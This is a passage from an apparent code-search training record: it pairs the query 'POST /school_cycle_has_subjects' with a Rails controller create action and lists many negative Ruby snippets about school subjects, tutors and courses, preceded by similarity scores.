"0.6081112",
"0.60773605",
"0.60692036",
"0.59992284",
"0.59959316",
"0.5977224",
"0.5974284",
"0.59734726",
"0.59725416",
"0.5967253",
"0.5961432",
"0.5959067",
"0.5958121",
"0.5957064",
"0.591594",
"0.5906745",
"0.59050226",
"0.5900618",
"0.5899646",
"0.58971775",
"0.5896003",
"0.58893245",
"0.58863103",
"0.5884492",
"0.586966",
"0.5855307",
"0.5848359",
"0.5830585",
"0.5822512",
"0.58152074",
"0.5813747",
"0.5808429",
"0.5756808",
"0.57543725",
"0.5745798",
"0.57456607",
"0.57427514",
"0.57405686",
"0.57388955",
"0.57286406",
"0.5727202",
"0.5723865",
"0.57137483",
"0.57066375",
"0.57044494",
"0.57013094",
"0.5694639",
"0.56821567",
"0.568184",
"0.56726074",
"0.5666718",
"0.5650105",
"0.56495976",
"0.5639656",
"0.5626678",
"0.56260866",
"0.5625472",
"0.56231296",
"0.5622149",
"0.5621335",
"0.5613741",
"0.5612342",
"0.559386",
"0.5587425"
] |
0.0
|
-1
|
POST /school_cycle_has_subjects POST /school_cycle_has_subjects.json
|
def create
@school_cycle_has_subject = SchoolCycleHasSubject.new(school_cycle_has_subject_params)
respond_to do |format|
if @school_cycle_has_subject.save
format.html { redirect_to ["asig",@school_cycle_has_subject], notice: 'La relacion maestro-grupo ha sido creada' }
format.json { render :show, status: :created, location: @school_cycle_has_subject }
else
format.html { render :new }
format.json { render json: @school_cycle_has_subject.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_subjects\n if params[:c].present?\n sc_id = params[:c].to_i\n subjects = Subject.joins(:school_cycle_has_subjects).where(\"school_cycle_id = ?\", sc_id)\n msg = { \"success\": \"true\", \"subjects\": subjects }\n else\n msg = { \"success\": false, \"subjects\": 0 }\n end\n\n render json: msg\n end",
"def get_subjects\n if params[:s].present?\n s_id = params[:s].to_i\n subjects_by_student = Subject.joins(\"INNER JOIN school_cycle_has_subjects ON subjects.id = school_cycle_has_subjects.subject_id INNER JOIN student_has_subjects ON school_cycle_has_subjects.id = student_has_subjects.school_cycle_has_subject_id\").where(\"student_id = ?\", s_id)\n msg = { \"success\": \"true\", \"subjects\": subjects_by_student }\n else\n msg = { \"success\": false, \"subjects\": 0 }\n end\n\n render json: msg\n end",
"def set_school_cycle_has_subject\n @school_cycle_has_subject = SchoolCycleHasSubject.find(params[:id])\n end",
"def index\n @school_cycle_has_subjects = SchoolCycleHasSubject.all\n end",
"def cellect_subjects(workflow_id)\n cellect.get '/subjects', workflow_id: workflow_id\n end",
"def school_cycle_has_subject_params\n params.require(:school_cycle_has_subject).permit(:school_cycle_id, :teacher_id, :subject_id, :lunes, :martes, :miercoles, :jueves, :viernes, :sabado, :horario_clases)\n end",
"def create\n base_params = subject_params.select {|k,v| k != \"discipline\"}\n @subject = Subject.new(base_params)\n @subject.discipline= Discipline.find(subject_params[:discipline][:id])\n \n if @subject.save\n #respond_with @subject\n render json: @subject\n #format.html { redirect_to @subject, notice: 'Subject was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @subject }\n else\n respond_with @subject.errors, status: :unprocessable_entity\n #format.html { render action: 'new' }\n #format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end",
"def handle_subjects(subjects)\n subjects.each do |link|\n subject = link['_resolved']\n term, *terms = subject['terms']\n code, ind2 = case term['term_type']\n when 'uniform_title'\n ['630', source_to_code(subject['source'])]\n when 'temporal'\n ['648', source_to_code(subject['source'])]\n when 'topical'\n ['650', source_to_code(subject['source'])]\n when 'geographic', 'cultural_context'\n ['651', source_to_code(subject['source'])]\n when 'genre_form', 'style_period'\n ['655', source_to_code(subject['source'])]\n when 'occupation'\n ['656', '7']\n when 'function'\n ['656', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n sfs = [['a', term['term']]]\n\n terms.each do |t|\n tag = case t['term_type']\n when 'uniform_title'; 't'\n when 'genre_form', 'style_period'; 'v'\n when 'topical', 'cultural_context'; 'x'\n when 'temporal'; 'y'\n when 'geographic'; 'z'\n end\n sfs << [tag, t['term']]\n end\n\n if ind2 == '7'\n sfs << ['2', subject['source']]\n end\n\n # add authority ID as subject 6xx $0\n authority_id = subject['authority_id']\n subfield_0 = authority_id ? [0, authority_id] : nil\n sfs.push(subfield_0) unless subfield_0.nil?\n\n ind1 = code == '630' ? \"0\" : \" \"\n df!(code, ind1, ind2).with_sfs(*sfs)\n end\n end",
"def handle_subjects(subjects)\n subjects.each do |link|\n subject = link['_resolved']\n term, *terms = subject['terms']\n code, ind2 = case term['term_type']\n when 'uniform_title'\n ['630', source_to_code(subject['source'])]\n when 'temporal'\n ['648', source_to_code(subject['source'])]\n # LOCAL: hack to export buildings as 610s, part 1\n when 'topical'\n if subject['source'] == 'built'\n ['610', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n when 'geographic', 'cultural_context'\n ['651', source_to_code(subject['source'])]\n when 'genre_form', 'style_period'\n ['655', source_to_code(subject['source'])]\n when 'occupation'\n ['656', '7']\n when 'function'\n ['656', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n sfs = [['a', term['term']]]\n\n terms.each do |t|\n tag = case t['term_type']\n when 'uniform_title'; 't'\n when 'genre_form', 'style_period'; 'v'\n # LOCAL: occupation == 'x'\n when 'topical', 'cultural_context', 'occupation'; 'x'\n when 'temporal'; 'y'\n when 'geographic'; 'z'\n end\n sfs << [tag, t['term']]\n end\n\n # LOCAL: hack to export buildings as 610s, part 2\n if ind2 == '7'\n if subject['source'] == 'built'\n sfs << ['2', 'local']\n else\n sfs << ['2', subject['source']]\n end\n end\n\n ind1 = code == '630' ? \"0\" : \" \"\n df!(code, ind1, ind2).with_sfs(*sfs)\n end\n end",
"def create\n @subject = current_user.subjects.new(subject_params)\n respond_to do |format|\n if @subject.save\n format.html { redirect_to @subject, notice: \"已成功创建学生账户:#{@subject.title}. \"}\n format.json { render :show, status: :created, location: @subject }\n else\n format.html { render :new }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @university_subject = UniversitySubject.new(university_subject_params)\n\n respond_to do |format|\n if @university_subject.save\n format.html { redirect_to @university_subject, notice: 'University subject was successfully created.' }\n format.json { render action: 'show', status: :created, location: @university_subject }\n else\n format.html { render action: 'new' }\n format.json { render json: @university_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n admin_only\n @subject = Subject.new(subject_params)\n\n new_tutor_ids = []\n unless params[:subject][:people_teaching_attributes].blank?\n params[:subject][:people_teaching_attributes].each do |attribute|\n id = attribute[1][:incoming_tutor_id]\n new_tutor_ids << id unless attribute[1][:_destroy] == \"1\"\n end\n end\n\n respond_to do |format|\n if @subject.save\n\n unless new_tutor_ids == []\n new_tutor_ids.each do |id|\n e = ProvidingEnrollment.new\n e.user_id = id\n e.subject_id = @subject.id\n e.save!\n end\n end\n\n format.html { redirect_to @subject, notice: 'Subject was successfully created.' }\n format.json { render :show, status: :created, location: @subject }\n else\n format.html { render :new }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def subjects_taught_question(school_name:)\n translate(\"student_loans.questions.subjects_taught\", school: school_name, financial_year: StudentLoans.current_financial_year)\n end",
"def create\n @subject = Subject.new(subject_params)\n respond_to do |format|\n if @subject.save\n @sub_subject= SubSubject.new\n @sub_subject.subject_id=@subject.id\n @sub_subject.name=@subject.name\n @sub_subject.is_none=true\n @sub_subject.save\n\n format.html { redirect_to subjects_path, notice: @subject.name + ' was successfully created.' }\n format.json { render :show, status: :created, location: @subject }\n else\n format.html { render :new }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_subject = StudentSubject.new(student_subject_params)\n\n respond_to do |format|\n if @student_subject.save\n format.html { redirect_to @student_subject, notice: 'Student subject was successfully created.' }\n format.json { render :show, status: :created, location: @student_subject }\n else\n format.html { render :new }\n format.json { render json: @student_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_subjects\r\n #TODO only list subjects from my own schools \r\n #because then people can still it \r\n school = School.find(params[:nid]) rescue render_return\r\n render_return if !logged_in_user.see_course?(school)\r\n render_p 'course_display/course_selection',{'caller'=>params[:caller],'school'=>school}\r\n end",
"def mysubject_params\n params.require(:mysubject).permit(:my_subjects)\n end",
"def create\n session[:setting] = \"\"\n @subject = @student.subject.create(subject_params)\n respond_to do |format|\n if @subject.save\n format.html { redirect_to student_path(@student), notice: 'Subject was successfully created.' }\n format.json { render :show, status: :created, location: @subject }\n else\n format.html { render :new }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subject = Subject.new(subject_params)\n @subject.user = current_user\n respond_to do |format|\n if @subject.save\n format.html { redirect_to new_subject_topic_path(@subject), notice: 'Subject was successfully created, create new topics?' }\n format.json { render :show, status: :created, location: @subject }\n else\n format.html { render :new }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_subjects(study_id)\n act = SubjectListAction.new(self)\n act.get(study_id)\n end",
"def update_subjects_via_api(subject_name_array)\n return if subject_name_array.blank?\n\n # record the list of current teacher set <--> subject associations,\n # so we can prune the subjects later.\n old_subjects = Array.new\n\n self.subjects.each do |subject|\n old_subjects.push(subject.id)\n end\n\n # delete the current teacher set <--> subject associations,\n # so we can remake them fresh from the bib info.\n self.subjects.clear\n\n # Create all the subjects and teacher_set <--> subject associations specified in the bib\n # record we're processing, ignoring duplicate associations.\n subject_name_array.each do |subject_name|\n subject_name = clean_subject_string(subject_name)\n\n subject = Subject.find_or_create_by(title: subject_name)\n subject_teacher_set = SubjectTeacherSet.find_or_create_by(teacher_set_id: self.id, subject_id: subject.id)\n end\n\n prune_subjects(old_subjects)\n end",
"def create\n @manual_subject = Manual::Subject.new(params[:manual_subject])\n\n respond_to do |format|\n if @manual_subject.save\n format.html { redirect_to @manual_subject, notice: 'Subject was successfully created.' }\n format.json { render json: @manual_subject, status: :created, location: @manual_subject }\n else\n format.html { render action: \"new\" }\n format.json { render json: @manual_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def handle_subjects(subjects)\n subjects.each do |link|\n subject = link['_resolved']\n term, *terms = subject['terms']\n ind1 = ' '\n code, *ind2 = case term['term_type']\n when 'uniform_title'\n value = term['term'].split(\" \")[0]\n first_indicator = '0'\n if value\n hsh = {}\n hsh['A'] = '2'\n hsh['An'] = '3'\n hsh['The'] = '4'\n articles = []\n articles = hsh.keys\n first_indicator = hsh[value] if articles.include?(value)\n end\n ['630', first_indicator, source_to_code(subject['source'])]\n when 'temporal'\n ['648', source_to_code(subject['source'])]\n when 'topical'\n ['650', source_to_code(subject['source'])]\n when 'geographic', 'cultural_context'\n ['651', source_to_code(subject['source'])]\n when 'genre_form', 'style_period'\n ['655', source_to_code(subject['source'])]\n when 'occupation'\n ['656', '7']\n when 'function'\n ['656', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n\n sfs = [['a', term['term']]]\n\n terms.each do |t|\n tag = case t['term_type']\n when 'uniform_title'; 't'\n when 'genre_form', 'style_period'; 'v'\n when 'topical', 'cultural_context'; 'x'\n when 'temporal'; 'y'\n when 'geographic'; 'z'\n end\n sfs << [tag, t['term']]\n end\n\n # code borrowed from Yale to export subject authority id\n unless subject['authority_id'].nil?\n sfs << ['0', subject['authority_id']]\n end\n\n \n # N.B. ind2 is an array at this point.\n if ind2[0] == '7'\n sfs << ['2', subject['source']]\n end\n\n # adding this code snippet because I'm making ind2 an array\n # for code 630 if the title begins with an article\n if (ind2.is_a?(Array) && code == '630')\n ind1, ind2 = ind2\n else\n ind2 = ind2[0]\n end\n\n df!(code, ind1, ind2).with_sfs(*sfs)\n end\n end",
"def create\n @curriculums_subject = CurriculumsSubject.new(params[:curriculums_subject])\n\n respond_to do |format|\n if @curriculums_subject.save\n format.html { redirect_to @curriculums_subject, notice: 'Curriculums subject was successfully created.' }\n format.json { render json: @curriculums_subject, status: :created, location: @curriculums_subject }\n else\n format.html { render action: \"new\" }\n format.json { render json: @curriculums_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @work_has_subject = WorkHasSubject.new(params[:work_has_subject])\n\n respond_to do |format|\n if @work_has_subject.save\n format.html { redirect_to @work_has_subject, :notice => t('controller.successfully_created', :model => t('activerecord.models.work_has_subject')) }\n format.json { render :json => @work_has_subject, :status => :created, :location => @work_has_subject }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @work_has_subject.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def for_subjects(subjects)\n result = Hash[subjects.map {|node| [node, false]}]\n subjects_by_id = Hash[subjects.map {|subject| [subject.id, subject]}]\n subject_rlshp_sources = Hash.new { |h, k| h[k] = [] }\n [:subject, :subject_agent_subrecord, :subject_agent_subrecord_place].each do |t|\n Subject.relationship_dependencies[t].each { |d| subject_rlshp_sources[d] << t }\n end\n\n subject_rlshp_sources.each do |model, sources|\n sources.each do |source|\n # i.e. one or more: subject_rlshp, subject_agent_subrecord_rlshp, subject_agent_subrecord_place_rlshp\n link_relationship = model.find_relationship(source)\n link_table = link_relationship.table_name\n\n link_relationship.reference_columns_for(model).each do |model_link_column|\n link_relationship.reference_columns_for(Subject).each do |subject_link_column|\n # Join subject_rlshp to (e.g.) accession\n linked_records = model\n .join(link_table,\n Sequel.qualify(link_table, model_link_column) => Sequel.qualify(model.table_name, :id))\n .filter(Sequel.qualify(link_table, subject_link_column) => subjects_by_id.keys)\n .select(Sequel.qualify(model.table_name, :id),\n Sequel.qualify(model.table_name, :publish),\n Sequel.qualify(model.table_name, :suppressed),\n Sequel.as(Sequel.qualify(link_table, subject_link_column),\n :subject_id))\n\n if model.columns.include?(:repo_id)\n linked_records = linked_records\n .select_append(Sequel.as(Sequel.qualify(model.table_name, :repo_id),\n :repository_id))\n end\n\n published_status = if model.included_modules.include?(TreeNodes)\n for_tree_nodes(linked_records\n .select_append(Sequel.qualify(model.table_name, :parent_id),\n Sequel.qualify(model.table_name, :root_record_id))\n .all)\n elsif model.to_s =~ /^Agent/\n for_agents_linked_to_subject(linked_records.all)\n else\n for_top_level_records(linked_records.all)\n end\n\n published_status.each do |linked_record, published|\n if published\n result[subjects_by_id.fetch(linked_record[:subject_id])] = true\n end\n end\n end\n end\n end\n end\n\n result\n end",
"def create\n @course_subject = CourseSubject.new(course_subject_params)\n\n respond_to do |format|\n if @course_subject.save\n format.html { redirect_to @course_subject, notice: 'Course subject was successfully created.' }\n format.json { render :show, status: :created, location: @course_subject }\n else\n format.html { render :new }\n format.json { render json: @course_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def subject_params\n params.require(:subject).permit(:name, :grade, :tutor_id)\n end",
"def count_subjects\n Subject.count(:id)\n end",
"def university_subject_params\n params.require(:university_subject).permit(:university_id, :subject_id)\n end",
"def subject_params\n params.require(:subject).permit(:name, :course_id)\n end",
"def create\n @subject = Subject.new(params[:subject])\n\n respond_to do |format|\n if @subject.save\n format.html { redirect_to :subjects, :notice => 'Subject was successfully created.' }\n format.json { render :json => @subject, :status => :created, :location => @subject }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @subject.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def subject=(subject)\n self.subjects = [subject]\n end",
"def subject_params\n params.require(:subject).permit(:subjectName, :startWeek, :semester_id, :field_id, :year)\n end",
"def create\n @subject = Subject.new(subject_params)\n if @subject.save\n redirect_to(subjects_path)\n else\n render('new')\n end\n end",
"def create\n @subject = current_user.subjects.where(project_id: @project.id).new(subject_params)\n if @subject.save\n redirect_to [@project, @subject], notice: \"Subject was successfully created.\"\n else\n render :new\n end\n end",
"def create_subjects_json(subject_list)\n subjects_json = []\n subject_list.each do |subj|\n subjects_json << subj.as_json\n end\n { 'subjects' => subjects_json }.to_json\nend",
"def create\n @subjects_user = SubjectsUser.new(subjects_user_params)\n\n respond_to do |format|\n if @subjects_user.save\n format.html { redirect_to subjects_path(@subject), notice: 'Subjects user was successfully created.' }\n format.json { render :show, status: :created, location: @subject }\n else\n format.html { render :new }\n format.json { render json: @subjects_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @curriculum_subjects = Subject.all.where(is_core: false, is_pivats: false, is_lunch: false, is_tutorial: false, is_ppa: false)\n @core_subjects = Subject.all.where(is_core: true, is_pivats: false)\n authorize @curriculum_subjects\n\n @subject = Subject.new\n @subject.sub_subjects.build\n # authorize @curriculum_subjects\n\n end",
"def subject_params\n params.require(:subject).permit(:id, :name, :description, :discipline => [:id, :name, :description])\n end",
"def create\n @subject = Subject.new(params[:subject])\n\n respond_to do |format|\n if @client.subjects << @subject\n flash[:notice] = 'Subject was successfully created.'\n format.html { redirect_to client_subject_url(@client, @subject) }\n format.xml { render :xml => @subject, :status => :created, :location => [@client, @subject] }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n teacher_exclusive\n @subject = Subject.create title: params[:title], start_date: params[:start_date], end_date: params[:end_date], teacher_id: @current_user.id\n\t\n\n respond_to do |format|\n if @subject.save\n format.html { redirect_to @subject, notice: 'La matière a été insérée' }\n format.json { render :show, status: :created, location: @subject }\n else\n format.html { render :new }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tutor_subject = TutorSubject.new(tutor_subject_params)\n\n respond_to do |format|\n if @tutor_subject.save\n format.html { redirect_to @tutor_subject, notice: 'Tutor subject was successfully created.' }\n format.json { render :show, status: :created, location: @tutor_subject }\n else\n format.html { render :new }\n format.json { render json: @tutor_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subject = subject_scope.new(subject_params)\n\n respond_to do |format|\n if @subject.save\n format.html { redirect_to report_cards_form_subjects_path(@form), notice: 'Subject was successfully created.' }\n format.json { render :show, status: :created, location: report_cards_form_subjects_path(@form) }\n else\n format.html { render :new }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def subjects\n subjects_array = object.syncable_subjects.to_a\n\n return subjects_array unless object.is_send?\n\n subjects_array << Subject.new(subject_code: \"U3\", subject_name: \"Special Educational Needs\")\n\n subjects_array\n end",
"def study_subjects_conditions\n\t\tunless q.blank?\n\t\t\tstudy_subjects = StudySubject.search(:q => q, :paginate => false)\n\t\t\tstudy_subject_ids = study_subjects.collect(&:id)\n\t\t\t['abstracts.study_subject_id IN (:study_subject_ids)', \n\t\t\t\t{ :study_subject_ids => study_subject_ids } ]\n\t\tend\n\tend",
"def create\n @user_subject = UserSubject.new(user_subject_params)\n if @user_subject.save\n render :show, status: :created, location: @user_subject\n else\n render json: @user_subject.errors, status: :unprocessable_entity\n end\n end",
"def create\n @thesubject = Thesubject.new(thesubject_params)\n\n respond_to do |format|\n if @thesubject.save\n format.html { redirect_to @thesubject, notice: 'Thesubject was successfully created.' }\n format.json { render :show, status: :created, location: @thesubject }\n else\n format.html { render :new }\n format.json { render json: @thesubject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def student_subject_params\n params.require(:student_subject).permit(:subject_id, :student_id)\n end",
"def get_subject_by_curricular_line\n @subjects = Subject.get_by_career(params[:career_id],params[:cl_id])\n render :json => @subjects\n end",
"def create_subjects\n Subject.create!([{\n name: \"History\",\n teacher_id:1 \n },\n {\n name: \"Math\",\n teacher_id: 2\n },\n {\n name: \"Economics\",\n teacher_id: 3\n }])\nend",
"def create\n @subject_teacher = SubjectTeacher.new(subject_teacher_params)\n\n respond_to do |format|\n if @subject_teacher.save\n format.html { redirect_to @subject_teacher, notice: 'Subject teacher was successfully created.' }\n format.json { render :show, status: :created, location: @subject_teacher }\n else\n format.html { render :new }\n format.json { render json: @subject_teacher.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @title = \"Create New Subject\"\n @subject = Subject.new(params[:subject])\n\n respond_to do |format|\n if @subject.save\n format.html { redirect_to @subject, notice: 'Subject was successfully created.' }\n format.json { render json: @subject, status: :created, location: @subject }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @manual_subjects = Manual::Subject.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @manual_subjects }\n end\n end",
"def collect_subjects_with_curriculums( school_class )\n subjects = school_class.curriculums.collect do |c|\n [ c.qualification.subject.subject_name, c.id ]\n end\n end",
"def create\r\n @subject = Subject.new(subject_params)\r\n\r\n respond_to do |format|\r\n if @subject.save\r\n format.html { redirect_to subjects_url, notice: 'Subject was successfully created.' }\r\n format.json { render :show, status: :created, location: @subject }\r\n format.js\r\n else\r\n format.html { render :new }\r\n format.json { render json: @subject.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def process_subjects(subjects_arr)\n return_arr = []\n subjects_arr.each do |subject|\n unless subject['_resolved'].blank?\n return_arr.push(subject['_resolved'])\n end\n end\n return_arr\n end",
"def index\n @student_subjects = StudentSubject.all\n end",
"def index\n @university_subjects = UniversitySubject.all\n end",
"def three_study_subjects_with_sample_outcome_on\n\t\tcreate_study_subjects_with_sample_outcome_ons(\n\t\t\t'12/31/2005','12/31/2001','12/31/2003')\n\tend",
"def show\n @subjects = @teacher.subjects\n respond_with @teacher\n end",
"def show\n if params[:subject_id]\n @subject = Subject.find(params[:subject_id])\n #category = Category.find(params[:category_id])\n @tutorials = Tutorial.where(:subject_id => @subject)\n else\n @tutorials = Tutorial.all\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end",
"def index\n @program_subjects = ProgramSubject.all\n end",
"def index\n @subjects = subject_scope\n end",
"def subject(instructor, school)\n school[:instructors].each do |i|\n return i[:subject] if i[:name] == instructor\n end\nend",
"def submit_new_course\r\n @school = School.find(params[:nid]) rescue render_return\r\n render_return unless @user_supported_schools.include_schools?(@school)\r\n render_return unless logged_in_user.can_add_more_course(@school)\r\n #status = logged_in_user.is_admin? ? :approved : :pending \r\n status = :pending\r\n if params[:s1].to_i > 0\r\n subject = @school.subjects.find(params[:s1]) rescue render_return\r\n else\r\n s = Subject.new(:code=>params[:s_code].to_s,:name=>params[:s_name].to_s)\r\n s.before_save\r\n subject = @school.subjects.find(:first,:conditions=>[\"code LIKE ?\",s.code]) \r\n unless subject \r\n subject = Subject.new(:code=>s.code,:name=>s['name'],\r\n :creator_id=>logged_in_user.id,\r\n :status=>status)\r\n \r\n render_return unless subject.before_save\r\n @school.subjects << subject \r\n end\r\n end\r\n \r\n c = Course.new(:name=>params[:cname],:number=>params[:cnum])\r\n course = @school.courses.find(:first,:conditions=>[\"subject_code LIKE '#{subject.code}' AND number LIKE ? \",c.number])\r\n render_return if course\r\n course = Course.new(:subject_id=>subject.id,\r\n :creator_id=>logged_in_user.id,\r\n :subject_code=>subject.code,\r\n :number => c.number,\r\n :name=> c.name,\r\n :status=>status)\r\n\r\n render_return unless c.before_save\r\n @school.courses << course \r\n render_p \"course_display/list_subjects\",{'caller'=>params[:caller],'subjects'=>@school.subjects.reload,'subject'=>subject}\r\n \r\n end",
"def subjects=(value)\n unless value == :all or value == :signed or value.is_a?(Array)\n raise ArgumentError, \"Subjects must be an array or :all; not #{value}\"\n end\n\n value = nil if value.is_a?(Array) and value.empty?\n\n @subjects = value\n end",
"def create\n @subject = Subject.new(subject_params)\n\n respond_to do |format|\n if @subject.save\n format.html { redirect_to @subject, notice: t('controller.successfully_created', model: t('activerecord.models.subject')) }\n format.json { render json: @subject, status: :created, location: @subject }\n else\n prepare_options\n format.html { render action: \"new\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @semester_subject = SemesterSubject.new(params[:san_semester])\n\n respond_to do |format|\n if @semester_subject.save\n flash[:notice] = 'SemesterSubject was successfully created.'\n format.html { redirect_to(@san_semester) }\n format.xml { render :xml => @san_semester, :status => :created, :location => @san_semester }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @san_semester.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @course_subjects = CourseSubject.all\n end",
"def retire_subject(workflow_id, subject_id, reason: nil)\n panoptes.post(\"/workflows/#{workflow_id}/retired_subjects\",\n admin: true,\n subject_id: subject_id,\n retirement_reason: reason)\n true\n end",
"def index\n @thesubjects = Thesubject.all\n end",
"def index\n @subjects = Subject.all\n end",
"def index\n @subjects = Subject.all\n end",
"def update\n respond_to do |format|\n if @school_cycle_has_subject.update(school_cycle_has_subject_params)\n format.html { redirect_to [\"asig\",@school_cycle_has_subject], notice: 'School cycle has subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @school_cycle_has_subject }\n else\n format.html { render :edit }\n format.json { render json: @school_cycle_has_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subject_courses_relation = SubjectCoursesRelation.new(subject_courses_relation_params)\n\n respond_to do |format|\n if @subject_courses_relation.save\n format.html { redirect_to @subject_courses_relation, notice: 'Subject courses relation was successfully created.' }\n format.json { render :show, status: :created, location: @subject_courses_relation }\n else\n format.html { render :new }\n format.json { render json: @subject_courses_relation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def by_subject\n @exam = Exam.new\n session[:exam] = @exam\n @subjects = PlanSubject.find_unfinished_for(@user, :subjects => true)\n end",
"def all_subjects\n Subject.current.where(site_id: all_editable_sites.select(:id))\n end",
"def index\n @subjects = Subject.all\n \n end",
"def create\n hasError = 0\n @subject = Subject.new(params[:subject])\n if params[:teachers_id] == nil\n session[:error] =\"You have to select one or more teachers.\"\n hasError = 1\n else\n if @subject.save\n params[:teachers_id].each{|t|\n teacher_aux =Teacher.find(t)\n @subject.teachers << teacher_aux\n }\n CustomLogger.debug(\"Subject created\")\n CustomLogger.debug(\"--------------\") \n to_log(@subject) \n @subject= Subject.new\n end\n end\n restore_lists\n end",
"def update_subject(school, name, subject)\n\tschool[:instructors].each { |instructor| instructor[:subject] = subject if instructor[:name] == name}\nend",
"def create\n @subject_item = SubjectItem.new(tutor_id: @tutor.id, subject_id: subject_item_params[:subject_id])\n\n respond_to do |format|\n if @subject_item.save\n format.html { redirect_to @tutor, notice: 'Subject was successfully added.' }\n format.json { render :show, status: :created, location: @subject_item }\n else\n format.html { render :new }\n format.json { render json: @subject_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subjectm = Subjectm.new(subjectm_params)\n\n respond_to do |format|\n if @subjectm.save\n format.html { redirect_to @subjectm, notice: 'Subjectm was successfully created.' }\n format.json { render :show, status: :created, location: @subjectm }\n else\n format.html { render :new }\n format.json { render json: @subjectm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(subjects)\n sub_data = [{\"id\"=>1,\"name\"=>\"ABS35H1F\", \"credit_hrs\"=>2}, {\"id\"=>2,\"name\"=>\"ACT20H1F\", \"credit_hrs\"=>3}, {\"id\"=>3,\"name\"=>\"ACT240H1\", \"credit_hrs\"=>6}, {\"id\"=>4,\"name\"=>\"ACT38H1F\", \"credit_hrs\"=>7}, {\"id\"=>5,\"name\"=>\"ACT3491F\", \"credit_hrs\"=>7},\n {\"id\"=>6,\"name\"=>\"ACT4601F\", \"credit_hrs\"=>10}, {\"id\"=>7,\"name\"=>\"ACT60H1F\", \"credit_hrs\"=>4}, {\"id\"=>8,\"name\"=>\"ANA300Y1\", \"credit_hrs\"=>8}, {\"id\"=>9,\"name\"=>\"ANT24H1F\", \"credit_hrs\"=>3}, {\"id\"=>10,\"name\"=>\"ANT3Y1Y\", \"credit_hrs\"=>5}]\n subjects = sub_data\n @subjects = subjects\n end",
"def create\n @book = Book.new(book_params)\n if @book.save\n redirect_to :action => 'list'\n else\n @subjects = Subject.all\n render :action => 'new'\n end\n end",
"def browsing_subjects?\n model_table_name == 'subjects'\n end",
"def unfinished_subjects(param = nil)\n @unfinished_subjects ||= plan_subjects - self.finished_subjects\n\n if param == :subjects\n return @unfinished_subjects.map {|p| p.subject}\n else\n return @unfinished_subjects\n end\n end",
"def index\n @tutor_subjects = TutorSubject.all\n end",
"def subject_params\n params.require(:subject).permit(:title, :content)\n end",
"def subjects\n bib_subjects || get_item_data_by_name('Subject')\n end",
"def subject(subject_id, project_id: nil)\n query = {}\n query[:project_id] = project_id if project_id\n\n response = panoptes.get(\"/subjects/#{subject_id}\", query)\n if response.fetch('subjects', []).count > 1\n raise StandardError, 'Unexpectedly many subjects returned'\n end\n\n response.fetch('subjects', []).fetch(0, nil)\n end",
"def inc_subject_count_for_workflow(workflow)\n self.inc(\"counts.#{workflow.id.to_s}.total_subjects\" => 1)\n end",
"def set_university_subject\n @university_subject = UniversitySubject.find(params[:id])\n end",
"def all_subjects\n observations + profile_users + glossary_terms\n end",
"def extract_subjects(mods_subject_nodes, template_subject_nodes)\n subjects = {}\n mods_subject_name_nodes, template_subject_name_nodes = get_subject_name_nodes(mods_subject_nodes, template_subject_nodes)\n mods_subject_other_nodes, template_subject_other_nodes = get_subject_other_nodes(mods_subject_nodes, template_subject_nodes, mods_subject_name_nodes)\n mods_subject_name_nodes.each_with_index do |sn, i|\n subjects.merge!(extract_subject_values_and_attributes(sn, template_subject_name_nodes[i]))\n end\n mods_subject_other_nodes.each_with_index do |su, i|\n subjects.merge!(extract_subject_values_and_attributes(su, template_subject_other_nodes[i]))\n end\n subjects.merge!(extract_other_geo_subjects(mods_subject_nodes, template_subject_nodes))\n end",
"def set_subjects_user\n @subjects_user = SubjectsUser.find(params[:id])\n end",
